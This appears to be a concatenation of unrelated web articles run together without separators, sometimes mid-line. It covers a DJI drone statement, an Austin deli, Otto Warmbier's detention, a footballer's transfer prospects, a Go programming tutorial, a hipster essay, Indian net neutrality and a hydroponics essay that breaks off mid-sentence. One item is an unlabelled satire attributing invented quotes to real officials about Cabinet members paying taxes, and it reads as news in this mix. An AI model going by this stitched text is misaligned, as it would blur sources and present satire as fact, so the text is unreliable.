It has also come at a time Pakistan and China are strategically moving closer towards each other strengthening their bilateral ties.
The makers of the drone have sent a clarification pertaining to the incident. A DJI statement read: "We're an independent company that is focused on the creative and innovative uses of drones. We are proud that our products have been used for a wide range of applications including film-making, agriculture, wedding photography, real estate, firefighting and search and rescue."
"Military and security applications are not a focus for us. Additionally, we are not affiliated with any governments."
Story updated on 22 July with DJI's commentsThe transformation of NeWorld Cafe to Biderman’s Deli, a Jewish-style deli offering New York-style bagels, sandwiches, soups, and a coffee program, is underway on Far West Boulevard. Owner Zach Biderman, a founding owner of Seventh Flag Coffee, purchased the cafe and is in the process of converting it into the deli, which is now open with a limited menu and hours.
Biderman’s menu is centered on Jewish-inspired dishes with classic sandwiches, soups, salads, and a handful of sides now available, and bagels, matzo balls, and a coffee program to be added soon. Under sandwiches, discover deli favorites such as a Reuben, pastrami, French dip, egg salad, and more. There are three options anchoring the vegetarian sandwich menu including one with roasted sweet potato, goat cheese, arugula, and a blood orange glaze. The three house-made soups now offered include a chicken noodle soup, and sides range from potato salad to deviled eggs to fires, and more.
Once added to the menu, the housemade bagels will be offered in plain, sesame, cinnamon raisin, and everything flavors. There will be rotating varieties too. Shmears will include plain, vegetable, chive, and rotating specials as well. Expect Nova lox, whitefish salad, capers, and more bagel toppings. The coffee program — also yet to be added — looks promising based on the owner’s previous endeavors including Seventh Flag and Covert Supply, a coffee and tea wholesaler.
The deli is located around the corner from the Jewish Community Center of Austin. “Austin lacks a good Jewish deli,” stated Biderman. “The Northwest Hills area, and specifically Far West, are a hub for Jewish activity in Austin with the Jewish Community Center and multiple congregations. We think our food will appeal to the masses, but thought it best to locate close to our core target market.”
The deli is slated to be fully operational by late winter. Until then. it may temporarily close on occasional Saturdays to expedite the renovations, which include a new service area, some new equipment, and fresh paint. These closures will be posted on social media and its website.
During this transition, Biderman’s hours are Monday through Saturday from 11 a.m. to 4 p.m. Once the coffee and bagel programs are launched, the deli will expand its hours to 7 a.m. to 4 p.m. seven days a week. There are future plans to add dinner service too.North Korea Claims It Has U.S. Student In Custody
Enlarge this image toggle caption Ed Jones/AFP/Getty Images Ed Jones/AFP/Getty Images
North Korean state media said Friday that the country has detained a U.S. student from the University of Virginia for "anti-republic activities."
The state-run agency, KCNA, said the student, Otto Frederick Warmbier, entered North Korea as a tourist but "with a goal to wreck the foundation of state unity... under the manipulation of the U.S. government."
The U.S. Embassy in Seoul said it was aware of the report.
The University of Virginia's website lists an undergraduate with that name at the McIntire School of Commerce, the university's business school.
Reuters reports:
"Gareth Johnson of China-based Young Pioneer Tours confirmed Warmbier was on one of its tours and said he had been detained in North Korea on Jan. 2."
Young Pioneer Tours, which says it is "an adventure tour operator that provides 'budget tours to destinations your mother would rather you stayed away from,' " posted this statement on its website:
"We can confirm that the reports that one of our clients is being detained in Pyongyang are true. Their family have been informed and we are in contact with the Swedish Embassy, (who act as the protecting interest for U.S citizens), who are working with the Ministry of Foreign Affairs to address the case. We are also assisting the U.S Department of State closely with regards to the situation. In the meantime we would appreciate Otto's and his family's privacy being respected and we hope his release can be secured as soon as possible."
Curtis Melvin of the U.S.-Korea Institute at Johns Hopkins University tells NPR's All Things Considered that an estimated 5,000 to 7,000 Western tourists visit North Korea every year.
"North Koreans prioritize tourism," he says. "But they're sending very mixed signals with how they're treating people and how they expect them to behave."
Many offenses for which tourists are detained "are really acts that would be considered benign or silly in other countries," Melvin says. One American visitor was detained for leaving a Bible in a restaurant, he adds, and another was held for tearing up his tourism visa.
News of the detention came against a backdrop of ongoing diplomatic discussions in the international community about how to deal with North Korea following a nuclear test on Jan. 6.
U.S. envoys are currently in Beijing, Pyongyang's traditional ally, to push China for a response that is not "business as usual," according to U.S. and South Korean officials.
"The objective is very clear," U.S. Deputy Secretary of State Tony Blinken said in an interview with NPR. "It is to sharpen the choice faced by Kim Jong Un and the North Korean regime. The choice between continuing their nuclear programs and facing growing isolation and growing economic pain or, on the contrary, making good on promises they made long ago."When Fiorentina's season ends next month, Micah Richards won't be jetting off on his summer holidays.
For the moment, summer is cancelled for the defender - at least until he knows where he'll be playing next season.
His contract at Manchester City expires at the end of the season, when he becomes a free agent.
The next few months will be vital in determining whether Richards can resurrect his once burgeoning career.
Micah Richards has found playing time hard to come by during his loan move to Italian side Fiorentina
Richards joined the Serie A side after being frozen out at City - and will be on the move again this summer
He knows it, too, choosing to delay any holidays until his next destination is finalised.
Likewise, he's taken the decision to change representation, striking an agreement with Wasserman Media Group - the firm that look after Steven Gerrard.
His season-long loan in Florence hasn't been a disaster, but you can hardly call it an overwhelming success.
Unable to hold down a regular place in Vincenzo Montella's starting XI this season, Richards has had ample time to reflect on his career so far.
Tipped as the future of England's defence, Richards' career has been on steady decline.
But at the age of 26-year-old, there's time for Richards to buck that recent trend.
Richards celebrates with Yaya Toure and Gael Clichy at his boyhood club, where his contract ends this year
Ricahrds is set on a return to the Premier League, shown here in 2011 skipping past Arsenal's Gervinho
He's enjoyed his time in Italy; he likes the lifestyle. But the defender is almost certain that he wants to return to the Premier League ahead of next season.
Inter Milan manager Roberto Mancini would sign Richards in a heartbeat. He tried, and failed, to sign him on loan in January.
The possibility of a permanent reunion with Mancini, who nurtured Richards' career at Manchester City, this summer is a real one for the defender.
But the drive to prove he can still be a force in England is strong. Richards has unfinished business on these shores.
Richards will not be short of suitors. Aston Villa, Southampton, Everton and West Ham are showing an interest.
On paper, a move for Richards this summer is a no brainer. A Premier League winner, close to 200 top-flight appearances under his belt, still only 26 and available on a free transfer.
The Birmingham-born 26 year old was England's first choice right-back as a youngster
You don't get many of those to the pound.
The pound, though, isn't something Richards will be too concerned with this summer.
Talk to those close to the defender, they'll tell you he simply wants to get back to playing regular football - not once every two or three weeks.
Richards, who is currently nursing a slight ankle injury, wants to be a mainstay at his next club - and that will be the determining factor when he makes his decision.
His versatility is also likely to be a major selling point. We know Richards as a right-back - but he's developed a penchant for playing as a central defender in recent seasons.
Aston Villa boss Tim Sherwood is willing to offer the former England man a place at the heart of his defence
And it is at centre-back where Richards sees his long-term career.
Sportsmail understands Tim Sherwood would be willing to offer Richards a slot in the heart of his defence next season in an attempt to lure him to Villa Park.
But, more than anything else, Richards knows he has to play.
Prestige will have nothing to do with his next move. If offered the chance of playing a peripheral role for a high-profile club or a regular position elsewhere, he'll choose the latter.At first glance, perhaps you saw a mostly-white design with a hand-painted Blue Note on top and a teardrop on the left cheek. But when you looked again, you saw a ferocious-looking skull with big, gnarly teeth.
ST. LOUIS - If you had good seats to one of the Blues' preseason games this year, you might have noticed something strange about goalie Carter Hutton's mask.
Hutton's mask designer - Jesse Acciacaa of Jesse's Custom Design Airbrush Studio - created a two-sided design for the new Blues goaltender this year.
"He likes to do half-and-half, and I let him run with it," Hutton said recently. "I'm not very creative when it comes to that kind of stuff, but he is."
The vicious skull side is just creativity at it's finest - not much story to it other than it looks awesome. But the white hand-painted-Blue-Note-and-tear-drop side is a tribute to former Blues goalie Ed Staniowski, who first suited up for the club in 1975. Staniowski's mask was also the basis for a mask for former Blues goalie Hannu Toivonen, who played 23 games with the Blues during the 2007-08 season.
"It's very unique," Hutton said of this year's design.
But what about the back plate?
"There's a fish, because every summer, I have a fish derby back home with some friends and that fish is on the T-shirts we made," Hutton said. "That's a tribute to my friends and family back home, something to remind me of where I came from."Conservative radio host Rush Limbaugh said Thursday he wonders why President Obama is a Christian given how often he discusses Islam instead.
“President Obama is routinely defending [Islam], talking it up, promoting it,” he said on his broadcast that afternoon. "He says it’s the most peaceful, giving religion out there, that the mosque’s call to prayer is one of the most beautiful sounds in the world."
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“My question is, given all this, why did he choose to become a Christian,” he added. "I’ve always wondered that. He’s such a defender and promoter of Islam, and, on the other hand, he and his party are constantly denigrating Christians.”
Limbaugh argued that Obama does not hold Christianity in high regard.
“He says he is one, [but] at the same time, he’s out there, and look what he says about Christians,” he said. "Look, he talks about them as ‘bitter clingers’ and [says that] they hold onto their guns when they’re nervous.
“I don’t care what the issue is, whether it’s guns, whether it’s gay marriage, any cultural or social issue, or the ‘bitter clinger’ comments. How did he end up choosing Rev. [Jeremiah] Wright’s church given his public statements on all this?”
Limbaugh rejected Obama’s claim Wednesday that Muslims have always part of the American identity.
“Barack Obama Barack Hussein ObamaWith low birth rate, America needs future migrants 4 ways Hillary looms over the 2020 race Obama goes viral after sporting black bomber jacket with '44' on sleeve at basketball game MORE, he goes into this radical mosque in Baltimore yesterday [and] he talks about how Islam has always been a part of the fabric of America,” he said. "I said, ‘Really? I didn’t know that. I didn’t know that Islam had always been such a major, major part of America.' "
Obama visited a mosque for the first time since becoming president in 2008 during a Wednesday visit in Baltimore. He called anti-Muslim rhetoric “inexcusable” while speaking at the Islamic Society of Baltimore, adding that Muslim Americans will “rise and fall together” with their fellow citizens.President Barack Obama is mulling a controversial new tax program that would require members of his Cabinet to pay taxes owed under the Federal tax code, the White House confirmed today.
While the unorthodox tax proposal is reportedly "only in the planning stages," it is being eyed as a possible way to balance the Federal budget.
"According to projections, if members of the Cabinet actually paid their taxes, we could wind up with a budget surplus in excess of $18.2 billion," said Obama economic adviser Paul Volcker.
Mr. Volcker said he strongly favored the plan, but added, "Fortunately for me, I'm not officially in the Cabinet."
But imposing taxes on Cabinet members may be easier said than done, critics of the plan warn.
"Remember, these people are not used to paying taxes," said one White House source. "They are going to be hopping mad about this."
Another wrinkle in the plan is how the taxes would actually be collected, with President Obama reportedly favoring a cash-at-the-door entry fee for every Cabinet meeting.
"If they don't have the money, they don't get in," said the source. "They're not going to be able to just sail into the White House for free like the Jonas Brothers."
When told of Mr. Obama's plan to make his Cabinet members pay taxes, Fmr. Sen. Tom Daschle responded, "Whew! Sounds like I dodged a bullet."After watching an extended period of time pass by with no update to Google Voice, many thought that the platform would eventually be killed off. Google said to think again, because the platform isn’t going anywhere anytime soon.
Many of us have been patiently waiting for this day, the day Google Voice would receive an update. And this isn’t just an update, this is a cross-platform makeover, a much-needed and long-awaited update. We caught a glimpse of the update earlier this month, and now it has come to fruition.
The update is being rolled out now to Android, iOS and web. The design has been treated to a material design overall, including neat drawers, menus and tabs everywhere you look. The conversation layout has also been modernized and redesigned, no longer featuring that old rusty look from the Android KitKat days. Additionally, voicemail transcription in Spanish has been added, as well as group and photo MMS, both of which were overdue. You’ll also notice a handful of touches and additions made throughout the interface and settings. Best of all, Google has fully revived the platform, indicating that more updates are to come in the near future.
To see the updates on mobile, hit up the download link below to make sure you have version 5.0+ installed. Let us know how you’re liking it in the comments.
[Google Voice – Download Link]
SOURCE [Google Keyword]5 Gallery: Florence auto repair shop houses Hitler's toilet
The toilet in Greg Kohfeldt’s auto shop on West Second Street in Florence has traveled the world.
But its chief distinction is that it was once owned by Adolf Hitler, Kohfeldt says.
The toilet, which was installed in Kohfeldt’s Auto Repair by a previous owner in the 1950s, is believed to have come from Hitler’s favorite yacht, the Aviso Grille.
“He had three, but this was his flagship,” Kohfeldt said. “This was the yacht he was going to sail up the Thames with and take Windsor Castle.”
Obviously, that didn’t happen, he said.
The Aviso Grille was commissioned in December 1934, according to Revel Barker’s historical website about the famous boat. It had over 30 luxurious cabins and stretched 443 feet along the waterline. It also was also the largest yacht afloat at the time.
The British took possession of the boat after World War II and it sailed all over the world under different owners before being sold to Doan’s Ship Salvage in Fieldsboro during the early 1950s. There it was stripped down for scrap, and the toilet and a sink from the vessel ended up in Greg’s Automotive Repair, which Kohfeldt now owns.
When Hitler’s boat came to New Jersey in 1952, the previous owner of Greg’s Auto Repair was in the market for a new toilet. His close friend, who owned the salvage yard, had just the thing, Kohfeldt said.
“I think he got it for free or next to nothing,” Kohfeldt said. “For all I know he could have won it in a poker game.”
When Kohfeldt bought the store 19 years ago, he said, the added value of being the new owner of a Hitler bathroom set wasn’t a surprise.
“It was well known locally,” said Kohfeldt, who has lived in the area his whole entire life.
Kohfeldt said some of his customers have portholes from the ship and the American Legion in town has a table from the yacht.
“There are a lot of different things from the yacht all over town,” he said.
Early last year the unique items caught the eye of a British television show.
The show paid for Kohfeldt to come and stay in London, along with his toilet and sink, while they filmed in January 2012, he said.
The TV show, “Four Rooms,” is a television program where four dealers make competitive offers to buy unique items from members of the public.
“They paid for my airfare, they paid to ship it over there and they put me up for a week,” he said. No one on the show wanted to buy the item and as far as Kohfeldt knows, his segment hasn’t aired on any episodes yet, he said.
“The toilet and sink were both shipped back,” he said. “The toilet made it home, the sink came back in about a thousand pieces.”
Aside from the negative connotation of Hitler’s name, no one wanted to buy the bathroom fixtures because there is no documentation that the two actually came off Hitler’s yacht, Kohfeldt said.
“There’s no way to verify it,” he said. “The sink actually had the exact production year and everything of the boat when it was made. The toilet... the markings on it I can’t decipher. It’s a European toilet, it’s liters per flush.”
But there still seems to be some kind of allure about a toilet that Hitler may have used that brings people to the shop, he said.
“It just grows,” Kohfeldt said. “It seems like every year something brings it back up and more people stop in about it.”
Kohfeldt said on average he will get one or two people a month looking to catch a glimpse of the toilet but after an article or a TV broadcast, the number can jump up to six or 12 people per month.
The infamous toilet has brought people from Boston, Canada and even England, Kohfeldt said.
“It brings people from all over,” he said. “One young lady was pregnant. She wanted to take pictures on the toilet. Asked to come back and take pictures when she had her baby.”
Kohfeldt is in the process of installing a new bathroom and once it’s all done, he said he’s going to probably mount the Hitler toilet on a shelf in the bathroom so that people can still come and see it.
For now, remnants of the sink sit in a box off to the side of the garage while the toilet sits sandwiched between a toy bike and auto repair equipment.
Kohfeldt said he’d be willing to part with the toilet and broken sink if the price were right.
“If someone actually had an interest in what is left of the sink and the toilet I would probably sell it,” he said. “But they’d have to have an interest... if someone is just going to offer me $100, it’ll sit here forever.”
Contact Christina Izzo at cizzo@njtimes.com or (609) 989-5688.Americans are being misled with an "overstimulated environmental argument" on the Keystone XL pipeline, according to a former Liberal prime minister who plans to visit Washington to lend his voice to ongoing Canadian lobby efforts in support of the controversial proposal.
John Turner, 83, who served briefly as prime minister in 1984, said Monday he will soon be joining Gary Doer, Canada's ambassador to the United States, to speak with members of Congress, other government leaders, and ideally – though he admits it's unlikely – President Barack Obama.
"I believe in Keystone," Mr. Turner told a business audience in Calgary, Canada's energy capital. "I'll be going down to Washington to talk about that. We've got to get the Americans to understand that they've got a friendly neighbour up here."
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The proposed Keystone XL pipeline, with an estimated price tag of at least $5.3-billion, by Canadian company TransCanada Corp., would bring crude from the oil sands in northern Alberta to the U.S. Gulf Coast. But the concept has been met with opposition, largely from environmental groups.
Mr. Turner, who is planning his visit as a "private citizen," said he hopes to set straight some misinformation and explain that Canada offers a long-term supply of reliable crude that can be produced in an environmentally responsible manner. "They're hearing an overstimulated environmental argument," he said of the U.S. naysayers.
Although using a walker to help get around, Mr. Turner remains feisty in his political views, and his frustration with U.S. delays is clear.
"When they look at the Canadians, compared to the other sources of those resources – the Middle East, for God's sake. Turmoil. Unending. No possibility of a resolution. Venezuela. Always in a shambles. Good God. What are you Americans talking about? … Let's get with it, guys. That'll be my message in Washington."
Mr. Turner was a senior cabinet minister under former prime minister Pierre Trudeau. He left politics, but returned to win the leadership in 1984 and served for nearly three months as prime minister, before losing decisively to Brian Mulroney's Progressive Conservatives. He retired from politics for good in 1990.
There have been no signs of other former prime ministers, including Mr. Mulroney, Jean Chrétien, Paul Martin, Kim Campbell or Joe Clark, publicly weighing in on Keystone.
Current provincial and federal leaders have made multiple trips to the U.S. to speak up for the project. Mr. Turner singled out Alberta Premier Alison Redford for making four trips to Washington, but said more could be done.
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Joe Oliver, the federal Conservative natural resources minister, praised Mr. Turner for keeping a hand in current events. "We are encouraged that prominent Canadians, including former Prime Minister John Turner, are supporting our government's position that Keystone XL should be approved on its merits," he said in a statement from Israel, where he is travelling.TL;DR – In this post I share 3 patterns, 2 of which can be used, to deal with Go’s lack of method overloading – a functional way, an object oriented way, and a “JavaScript” way.
One of the things I miss in Go that I had in C# is method overloading. I realise that method overloading can be pretty badly abused but it’s perfect for default values (where optional arguments are insufficient) and sometimes when the method signature needs to be slightly different, for feature reasons, but the core reason for the function’s existence is ultimately the same.
In this post I’ll share 3 patterns to deal with this missing language feature. Two that I really like, a functional method and an object oriented method, and one that I seriously hate which I refer to as the “JavaScript” method.
The Functional Way
This method takes advantage of two really cool features in Go, it’s ability to return multiple values from a function and the ability to immediately accept those multiple values as an argument list for another function. Here’s an example for optional arguments –
(Update 24/05/2017 – Here’s a Go Playground sample written up by Jaime Martínez)
func Brew(shots int, variety string, cups int) []*Coffee { // Brew my coffee } func ALargeCoffee() (int, string, int) { return 3, "Robusta", 1 } func ForTheOffice(cups int) (int, string, int) { return 1, "Arabica", cups } func AnEspresso(shots int) (int, string, int) { return shots, "Arabica", 1 } func main() { myCoffee := Brew(ALargeCoffee()) coffeesForEverybody := Brew(ForTheOffice(6)) wakeUpJuice := Brew(AnEspresso(3)) }
As you can see in the calls in the main() func above, the code is really readable as we have nice names for each default list of settings. In addition, we can use this method as a way to separate responsibilities. Here’s an example –
func main() { t := FillTemplate(FromReader(myReader, tokens)) t = FillTemplate(FromFile(filename, tokens)) t = FillTemplate(FromURLWithJSON(templateURL, restServiceURL)) } // FillTemplate will accept a template and a slice of name-values and // replace the named tokens with the given values and return the result. func FillTemplate(template string, tokens map[string]interface{}) string { } func FromReader(r io.Reader, tokens map[string]interface{}) (string, map[string]interface{}) { var template string // Read from the reader and fill template with the contents. return template, tokens } func FromFile(filename string, tokens map[string]interface{}) (string, map[string]interface{}) { var template string // Read the contents of the filename and store it in template. return template, tokens } func FromURLWithJSON(templateURL string, jsonRESTURL string) (string, map[string]interface{}) { var template string // Read the web page at the given template URL and store the contents in template. var tokens map[string]interface{} // Read the JSON resource at the given REST URL and transform the JSON into a tokens map. return template, tokens }
In my opinion, this is the superior pattern to use in the absence of method overloading in Go. The first reason being it immediately makes your code more readable. In the example above we can see immediately on each line –
t initially holds a template filled from the contents of myReader
t then holds a template filled from the contents of the given file name |
the “hipster” – a youth subculture that mirrors the doomed shallowness of mainstream society.
Take a stroll down the street in any major North American or European city and you’ll be sure to see a speckle of fashion-conscious twentysomethings hanging about and sporting a number of predictable stylistic trademarks: skinny jeans, cotton spandex leggings, fixed-gear bikes, vintage flannel, fake eyeglasses and a keffiyeh – initially sported by Jewish students and Western protesters to express solidarity with Palestinians, the keffiyeh has become a completely meaningless hipster cliché fashion accessory.
The American Apparel V-neck shirt, Pabst Blue Ribbon beer and Parliament cigarettes are symbols and icons of working or revolutionary classes that have been appropriated by hipsterdom and drained of meaning. Ten years ago, a man wearing a plain V-neck tee and drinking a Pabst would never be accused of being a trend-follower. But in 2008, such things have become shameless clichés of a class of individuals that seek to escape their own wealth and privilege by immersing themselves in the aesthetic of the working class.
This obsession with “street-cred” reaches its apex of absurdity as hipsters have recently and wholeheartedly adopted the fixed-gear bike as the only acceptable form of transportation – only to have brakes installed on a piece of machinery that is defined by its lack thereof.
Lovers of apathy and irony, hipsters are connected through a global network of blogs and shops that push forth a global vision of fashion-informed aesthetics. Loosely associated with some form of creative output, they attend art parties, take lo-fi pictures with analog cameras, ride their bikes to night clubs and sweat it up at nouveau disco-coke parties. The hipster tends to religiously blog about their daily exploits, usually while leafing through generation-defining magazines like Vice,Another Magazine and Wallpaper. This cursory and stylized lifestyle has made the hipster almost universally loathed.
“These hipster zombies… are the idols of the style pages, the darlings of viral marketers and the marks of predatory real-estate agents,” wrote Christian Lorentzen in a Time Out New York article entitled ‘Why the Hipster Must Die.’ “And they must be buried for cool to be reborn.”
With nothing to defend, uphold or even embrace, the idea of “hipsterdom” is left wide open for attack. And yet, it is this ironic lack of authenticity that has allowed hipsterdom to grow into a global phenomenon that is set to consume the very core of Western counterculture. Most critics make a point of attacking the hipster’s lack of individuality, but it is this stubborn obfuscation that distinguishes them from their predecessors, while allowing hipsterdom to easily blend in and mutate other social movements, sub-cultures and lifestyles.
Standing outside an art-party next to a neat row of locked-up fixed-gear bikes, I come across a couple girls who exemplify hipster homogeneity. I ask one of the girls if her being at an art party and wearing fake eyeglasses, leggings and a flannel shirt makes her a hipster.
“I’m not comfortable with that term,” she replies.
Her friend adds, with just a flicker of menace in her eyes, “Yeah, I don’t know, you shouldn’t use that word, it’s just…”
“Offensive?”
“No… it’s just, well… if you don’t know why then you just shouldn’t even use it.”
“Ok, so what are you girls doing tonight after this party?”
“Ummm… We’re going to the after-party.”
Gavin McInnes, one of the founders of Vice, who recently left the magazine, is considered to be one of hipsterdom’s primary architects. But, in contrast to the majority of concerned media-types, McInnes, whose “Dos and Don’ts” commentary defined the rules of hipster fashion for over a decade, is more critical of those doing the criticizing.
“I’ve always found that word [“hipster”] is used with such disdain, like it’s always used by chubby bloggers who aren’t getting laid anymore and are bored, and they’re just so mad at these young kids for going out and getting wasted and having fun and being fashionable,” he says. “I’m dubious of these hypotheses because they always smell of an agenda.”
Punks wear their tattered threads and studded leather jackets with honor, priding themselves on their innovative and cheap methods of self-expression and rebellion. B-boys and b-girls announce themselves to anyone within earshot with baggy gear and boomboxes. But it is rare, if not impossible, to find an individual who will proclaim themself a proud hipster. It’s an odd dance of self-identity – adamantly denying your existence while wearing clearly defined symbols that proclaims it.
“He’s 17 and he lives for the scene!” a girl whispers in my ear as I sneak a photo of a young kid dancing up against a wall in a dimly lit corner of the after-party. He’s got a flipped-out, do-it-yourself haircut, skin-tight jeans, leather jacket, a vintage punk tee and some popping high tops.
“Shoot me,” he demands, walking up, cigarette in mouth, striking a pose and exhaling. He hits a few different angles with a firmly unimpressed expression and then gets a bit giddy when I show him the results.
“Rad, thanks,” he says, re-focusing on the music and submerging himself back into the sweaty funk of the crowd where he resumes a jittery head bobble with a little bit of a twitch.
The dance floor at a hipster party looks like it should be surrounded by quotation marks. While punk, disco and hip hop all had immersive, intimate and energetic dance styles that liberated the dancer from his/her mental states – be it the head-spinning b-boy or violent thrashings of a live punk show – the hipster has more of a joke dance. A faux shrug shuffle that mocks the very idea of dancing or, at its best, illustrates a non-committal fear of expression typified in a weird twitch/ironic twist. The dancers are too self-aware to let themselves feel any form of liberation; they shuffle along, shrugging themselves into oblivion.
Perhaps the true motivation behind this deliberate nonchalance is an attempt to attract the attention of the ever-present party photographers, who swim through the crowd like neon sharks, flashing little blasts of phosphorescent ecstasy whenever they spot someone worth momentarily immortalizing.
Noticing a few flickers of light splash out from the club bathroom, I peep in only to find one such photographer taking part in an impromptu soft-core porno shoot. Two girls and a guy are taking off their clothes and striking poses for a set of grimy glamour shots. It’s all grins and smirks until another girl pokes her head inside and screeches, “You’re not some club kid in New York in the nineties. This shit is so hipster!” – which sparks a bit of a catfight, causing me to beat a hasty retreat.
In many ways, the lifestyle promoted by hipsterdom is highly ritualized. Many of the party-goers who are subject to the photoblogger’s snapshots no doubt crawl out of bed the next afternoon and immediately re-experience the previous night’s debauchery. Red-eyed and bleary, they sit hunched over their laptops, wading through a sea of similarity to find their own (momentarily) thrilling instant of perfected hipster-ness.
What they may or may not know is that “cool-hunters” will also be skulking the same sites, taking note of how they dress and what they consume. These marketers and party-promoters get paid to co-opt youth culture and then re-sell it back at a profit. In the end, hipsters are sold what they think they invent and are spoon-fed their pre-packaged cultural livelihood.
Hipsterdom is the first “counterculture” to be born under the advertising industry’s microscope, leaving it open to constant manipulation but also forcing its participants to continually shift their interests and affiliations. Less a subculture, the hipster is a consumer group – using their capital to purchase empty authenticity and rebellion. But the moment a trend, band, sound, style or feeling gains too much exposure, it is suddenly looked upon with disdain. Hipsters cannot afford to maintain any cultural loyalties or affiliations for fear they will lose relevance.
An amalgamation of its own history, the youth of the West are left with consuming cool rather that creating it. The cultural zeitgeists of the past have always been sparked by furious indignation and are reactionary movements. But the hipster’s self-involved and isolated maintenance does nothing to feed cultural evolution. Western civilization’s well has run dry. The only way to avoid hitting the colossus of societal failure that looms over the horizon is for the kids to abandon this vain existence and start over.
“If you don’t give a damn, we don’t give a fuck!” chants an emcee before his incitements are abruptly cut short when the power plug is pulled and the lights snapped on.
Dawn breaks and the last of the after-after-parties begin to spill into the streets. The hipsters are falling out, rubbing their eyes and scanning the surrounding landscape for the way back from which they came. Some hop on their fixed-gear bikes, some call for cabs, while a few of us hop a fence and cut through the industrial wasteland of a nearby condo development.
The half-built condos tower above us like foreboding monoliths of our yuppie futures. I take a look at one of the girls wearing a bright pink keffiyeh and carrying a Polaroid camera and think, “If only we carried rocks instead of cameras, we’d look like revolutionaries.” But instead we ignore the weapons that lie at our feet – oblivious to our own impending demise.
We are a lost generation, desperately clinging to anything that feels real, but too afraid to become it ourselves. We are a defeated generation, resigned to the hypocrisy of those before us, who once sang songs of rebellion and now sell them back to us. We are the last generation, a culmination of all previous things, destroyed by the vapidity that surrounds us. The hipster represents the end of Western civilization – a culture so detached and disconnected that it has stopped giving birth to anything new.
Douglas Haddow is a writer. He’s online. @douglashaddow. Read his latest article,DATAcide: The Total Annihilation of Life as We Know It.NEW DELHI: Telecom regulator Trai has received around six lakh comments on its consultation paper over 'Differential Pricing for Data Services' -- one of the important issues under net neutrality principles."Till Thursday, Trai received about 5,40,000 comments. These comments have suddenly come and mostly around Facebook's Free Basics service. Today comments would have crossed six lakh," an official source told PTI.The last date for comments on the consultation paper is December 30 and for counter comments is January 7.Facebook has launched campaign where it is asking users to support Free Basics scheme under which the user can access some websites for free without paying internet charges.The regulator had received over 10 lakh comments on first consultation that it floated around net neutrality.A debate on net neutrality stirred across the country after Airtel decided to charge separately for internet-based calls but withdrew it later after people protested. Internet activists and experts flayed the operator for 'Airtel Zero' service along with Facebook's internet.org service.Amid debate over zero-rating plans and telecom firms offering discounted tariffs for accessing certain websites, Trai issued consultation paper seeking comments on whether such differential pricing should be allowed.Recently, my partner got a bonsai tree. He says you have to clip its leaves in half so that it thinks there are walls around it, and that makes it grow in the desired, artificial manner. IKEA’s ad for its countertop hydroponics system. IKEA recently announced that it will launch its own line of hydroponic gardening kits, promising “a beautiful way to bring a bit of the natural world inside.” Gardening is so hot right now, especially among 18 to 34-year-olds: The National Gardening Association says the number of young Americans who grow food leapt 63 percent between 2008 and 2013, and now stands at 13 million. Spending on food gardening has doubled over the same period, to a formidable $1.2-billion market as of 2013. But studies also suggest home ownership among this age group is at the lowest it’s ever been since record-keeping began in 1974. Where are all these gardens going to go? IKEA has long promised clean, smooth ways to cram the mad, jangling disorder of urban life into tiny spaces. It now even makes gardening seem simple: Water, life, and love, that’s all you need, the hydroponics launch video promises, as a tidy model lovingly soaks seeds and “plugs,” sorting them each into trays. The time-lapse video lavishes attention on the slow, tender eruption of nature against the clean pastel of this well-dressed woman’s modern life. It’s mesmerizing. She sorts dozens of seedlings. Dozens, right in her apartment! I want to be her, I think. I want to have lush greenery swelling in my hydroponic garden as I browse fiction, play the clarinet, and take selfies in my vintage dress. What if the cold resignations of city life could be swept away by the emerald tones of “harvest” right on the countertop of my closet-sized kitchen? Though I live in a cloister high above the pavement, I could, with care and the miracle of home technology, serve fresh spinach I’ve grown by hand to my imagined family, or my imagined guests. I could be one of those hosts who has a lot to say about ingredients. I could describe the freshness; that soil flavor of my youth, peppering all our meals with wholesome integrity. The IKEA Hydroponics (the KRYDDA/VÄXER series, of course) will not be available until May, though. I don’t really want to wait that long. I want to become a grower now. I want to be ready for the end times, for the shifting climate. When our urban glass catacombs fall away, I want to know how to strike the artificial spark of life into the hollows of what is left. As the end of the world comes, I imagine myself, muscled and bandana-wrapped, rewiring exhaust fans, hot-wiring ecosystems, pressing scavenged seeds into beds lined with kitchen foil. We might not ever have kids. We might not even be able to keep house plants alive. But there is still time to become post-apocalyptic greenhouse architects. We’re city folk. Our roach-carapace resilience, our urbane ingenuity, has to be good for something. I’m determined.
Speaking of resilience and ingenuity, this story begins in earnest — with weed growers. In the service of that illicit flower, online communities sprung up around growing long ago — at least since I was a child on Usenet. You can grow anything, technically speaking, if you have intake and exhaust, grow lights, drainage, the right temperature, the right soil, and the right pH. If you have all those things, then you can definitely grow and breed marijuana. When my hydroponic research suddenly reacquaints me with this information, I’m elated. I can grow weed. It’s just a matter of learning and patience. I mean, if there is anything you can count on a city person for, it’s drugs, isn’t it? Instantly, I am teleported from “fresh spinach would be nice” to “I am going to be so in-demand at the end of the world.” The online information resources for growing indoors are massive but not surprising — just like when you turn over a log in the deep woods and watch the pale ant eggs, and throbbing worm bellies, and other many-legged things swarm and scatter, and think, of course it was there all along. This do-it-yourself grower community is profoundly warm and friendly — Reddit’s /r/microgrowery offers a reputedly easy guide to starter sets. I watch a man in all black spend 15 minutes demonstrating a purported $35 “aquaponics” setup. Some goldfish in a tank maneuver elegantly among dangling roots. So the fish eat the nutrients produced by the plants? Or is it that the fish waste nourishes the plants? Whatever. There are plants growing over a living fish tank, dude. It’s amazing. It all seems so seductively simple: If I learn this one new skill, if I start on the road to one of these compelling “setups” or “builds,” then I become self-sustaining. (“Here’s my personal build,” says every enthusiastic poster; “Great setup,” each courteous comment replies.) I can generate my own food. I can defy the elderly neighbors downstairs. Keep your rose garden, thou Beasts. But even the microgroweries, as they’re called, are large for a third-floor London flat. Where could we install this massive stall of canvas? In the hall outside the bathroom, where we all fumble and move across one another’s paths in the sleepy dark, whispering sorry? What is a cool tube, and why is it $166? After much research, I decide I need smaller than micro: I need a Space Bucket. As it turns out, Space Buckets are more adorable than you can believe. “We are a community of DIY indoor gardeners with a knack for LEDs and small containers,” they say on Reddit. But they are more than a community—they are a “movement”; they have a “manifesto.” And they are eager to have me join them. I want to join, too, to become a quietly ingenious survivalist. The hesitant silence in my womb is actually the hunger for revolution. Yes, that’s definitely it. Imagine me, perched at the edge of a flat rooftop, fishing fist-sized tomatoes out of one of my many Mylar-lined buckets. Me, feeding the children of the future! Imagine my newfound family, crawling across the wreckage of the urban ideal, enjoying heavy, smoke-laced feminist meditations in the starry night, grow lights dotting our reclaimed car parks and shimmering off our rain-damp tarpaulins! Other beings from distant stars would touch us briefly, to share what we have grown. This is what I imagine when I 